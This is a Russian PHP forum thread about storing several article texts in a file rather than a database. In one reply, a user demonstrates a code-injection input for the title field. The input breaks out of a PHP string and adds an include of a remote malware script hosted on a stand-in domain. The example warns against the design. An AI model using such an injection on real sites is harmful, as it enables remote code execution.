Каким образом хранить в файле N самостоятельных кусков текста?

sovka

Новичок
Каким образом хранить в файле N самостоятельных кусков текста?

Приветы.

Для хранения статей. Думаю сделать так, как переменные в php-файле:

PHP:
<?  $postname="Название статьи";
      $about=<<<EOF  Анонс статьи (1 абзац текста+теги html)  EOF;
      $text=<<<EOF  Текст самой статьи (много абзацев+теги html)  EOF;  ?>
Потом инклюдом их все получать. Может правильнее\удобнее это делается,
посоветуйте?
 

sovka

Новичок
Да, я окромя этого имел ввиду. Просто за счет кеширования у меня в скорости не проигрывает, а так удобнее для детского размера сайтов. А что по текстовому хранению и раздельному считыванию, норм?
 

gerasim

Новичок
Если уж на то пошло, я бы все-таки хранил текст+хтмл в отдельных файлах, а имена файлов - в переменных или эл-тах массива.
А уж как удобнее - это тебе решать.
 

MiAl

Новичок
На мой взгляд, хранить в переменных небезопасно. Поскольку ни кто не мешает в поле название статьи ввести что-нибудь вроде
Название статьи"; include 'http://www.xss.com/malware.php'; echo "

В результате в php файл будет записано следующее
$postname="Название статьи"; include 'http://www.xss.com/malware.php'; echo "";

Когда передо мной стояла аналогичная задача, то добавлял все строки в массив, а затем объединял его в одну строку используя в качестве разделителя какой-нибудь редкий символ, например так:
$finishedMessage = join ("|",$string1);
получившуюся строку записывал в текстовый файл.

Когда нужно было получить данные, то считывал содержимое текстового файла, разбивал его на строки в массив
$string2 = explode ('|', $string3);

Мне кажется это наиболее безопасный вариант. Переносы строк, если текст многоабзацевый, сохраняются.
 

c0dex

web.dev 2002-...
Команда форума
Партнер клуба
Храните все в БД, не надо этого онаниз..., БД гораздо лучше и удобнее. Потому как, если надо кусок удалить из файла, вы будите как я понимаю все считывать и перезаписывать файл, в случае, если надо просто сделать один DELETE запрос. Плюс считывание части информации в первом случае вообще нереально.

Если же у вас прямо такая тяга к статике, генерите кеш из данных БД и пишите на диск, откуда пользователи и будут все считывать.
 
Сверху